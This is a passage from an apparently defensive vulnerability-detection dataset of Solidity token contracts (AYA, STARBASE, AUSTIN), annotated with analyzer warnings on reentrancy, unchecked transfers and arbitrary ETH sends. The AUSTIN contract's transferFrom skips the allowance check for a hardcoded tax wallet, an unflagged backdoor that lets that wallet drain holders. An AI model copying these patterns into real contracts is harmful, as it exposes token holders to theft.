\"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: b46770f\n\t\t\t\t// reentrancy-eth | ID: 565b79e\n\t\t\t\t// reentrancy-eth | ID: 320188f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b46770f\n\t\t\t\t\t// reentrancy-eth | ID: 565b79e\n\t\t\t\t\t// reentrancy-eth | ID: 320188f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 565b79e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 565b79e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: b46770f\n\t\t\t\t// reentrancy-eth | ID: 320188f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b46770f\n\t\t\t\t\t// reentrancy-eth | ID: 320188f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 320188f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b46770f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 320188f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 320188f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b46770f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b46770f\n\t\t// reentrancy-events | ID: 1706b94\n\t\t// reentrancy-benign | ID: 3f096b5\n\t\t// reentrancy-eth | ID: 565b79e\n\t\t// reentrancy-eth | ID: 320188f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2e1f9f5): Missing events for critical arithmetic parameters.\n\t// Recommendation for 2e1f9f5: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 2e1f9f5\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 2e1f9f5\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 2e1f9f5\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 2e1f9f5\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 2e1f9f5\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f94b590): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for f94b590: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: f94b590\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b46770f\n\t\t// reentrancy-events | ID: 1706b94\n\t\t// reentrancy-eth | ID: 565b79e\n\t\t// reentrancy-eth | ID: 320188f\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6a254b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6a254b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f703069): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f703069: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7816768): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7816768: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 497553a): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 497553a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 284a66e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 284a66e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6a254b0\n\t\t// reentrancy-benign | ID: f703069\n\t\t// reentrancy-eth | ID: 284a66e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6a254b0\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 6a254b0\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: f703069\n\t\t// unused-return | ID: 497553a\n\t\t// reentrancy-eth | ID: 284a66e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f703069\n\t\t// unused-return | ID: 7816768\n\t\t// reentrancy-eth | ID: 284a66e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f703069\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 284a66e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: f703069\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10867.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n\t\t// reentrancy-eth | ID: a2e674d\n _owner = newOwner;\n\n\t\t// reentrancy-events | ID: 9ecbb44\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function WETH() external pure returns (address);\n}\n\ncontract STARBASE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _exclFromLimit;\n\n mapping(address => bool) private _isBot;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 740000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"STARBASE\";\n\n string private constant _symbol = unicode\"STARBASE\";\n\n bytes32 public constant uniqueHash = keccak256(\"STARBASE_CONTRACT_v4.1\");\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2512d68): STARBASE.limitsInEffect should be constant \n\t// Recommendation for 2512d68: Add the 'constant' attribute to state variables that never change.\n bool private limitsInEffect = false;\n\n event BotDetected(address indexed botAddress);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n _exclFromLimit[_msgSender()] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f13067b): STARBASE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f13067b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 27ce4cd): STARBASE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 27ce4cd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (_isBot[from]) {\n emit BotDetected(from);\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function isBot(address account) public view returns (bool) {\n return _isBot[account];\n }\n\n function setBot(address account, bool value) external onlyOwner {\n _isBot[account] = value;\n\n if (value) {\n emit BotDetected(account);\n }\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ecbb44): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ecbb44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8bb689d): STARBASE.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8bb689d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 674151f): STARBASE.openTrading() ignores return value by IERC20(uniswapPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for 674151f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a2e674d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a2e674d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-events | ID: 9ecbb44\n\t\t// reentrancy-eth | ID: a2e674d\n uniswapPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 9ecbb44\n\t\t// unused-return | ID: 8bb689d\n\t\t// reentrancy-eth | ID: a2e674d\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 9ecbb44\n\t\t// unused-return | ID: 674151f\n\t\t// reentrancy-eth | ID: a2e674d\n IERC20(uniswapPair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: a2e674d\n tradingOpen = true;\n\n\t\t// reentrancy-events | ID: 9ecbb44\n\t\t// reentrancy-eth | ID: a2e674d\n renounceOwnership();\n }\n}\n",
"file_name": "solidity_code_10868.sol",
"size_bytes": 10834,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AUSTIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3bd9e9c): AUSTIN.deployer should be immutable \n\t// Recommendation for 3bd9e9c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60b27dd): AUSTIN._initialBuyTax should be constant \n\t// Recommendation for 60b27dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 23d1e4f): AUSTIN._initialSellTax should be constant \n\t// Recommendation for 23d1e4f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f78547): AUSTIN._finalBuyTax should be constant \n\t// Recommendation for 6f78547: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2656971): AUSTIN._finalSellTax should be constant \n\t// Recommendation for 2656971: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 44ae7ff): AUSTIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 44ae7ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58995ed): AUSTIN._reduceSellTaxAt should be constant \n\t// Recommendation for 58995ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Dog Austin\";\n\n string private constant _symbol = unicode\"AUSTIN\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ceb6d5): AUSTIN._maxTaxSwap should be constant \n\t// Recommendation for 3ceb6d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deployer = msg.sender;\n\n _taxWallet = payable(0x5f27066bF8340414233d1fad17387538Ed8dEC7F);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9d2140d): AUSTIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9d2140d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d979bd0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d979bd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4806741): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4806741: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d979bd0\n\t\t// reentrancy-benign | ID: 4806741\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: d979bd0\n\t\t\t// reentrancy-benign | ID: 4806741\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6393e8): AUSTIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b6393e8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4806741\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d979bd0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 26aa6e3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 26aa6e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e4859d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e4859d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != address(this) && to != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 26aa6e3\n\t\t\t\t\t// reentrancy-eth | ID: e4859d2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 26aa6e3\n\t\t\t\t// reentrancy-eth | ID: e4859d2\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e4859d2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 26aa6e3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e4859d2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e4859d2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 26aa6e3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d979bd0\n\t\t// reentrancy-events | ID: 26aa6e3\n\t\t// reentrancy-benign | ID: 4806741\n\t\t// reentrancy-eth | ID: e4859d2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 681f092): AUSTIN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 681f092: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d979bd0\n\t\t// reentrancy-events | ID: 26aa6e3\n\t\t// reentrancy-eth | ID: e4859d2\n\t\t// arbitrary-send-eth | ID: 681f092\n _taxWallet.transfer(amount);\n }\n\n\t// 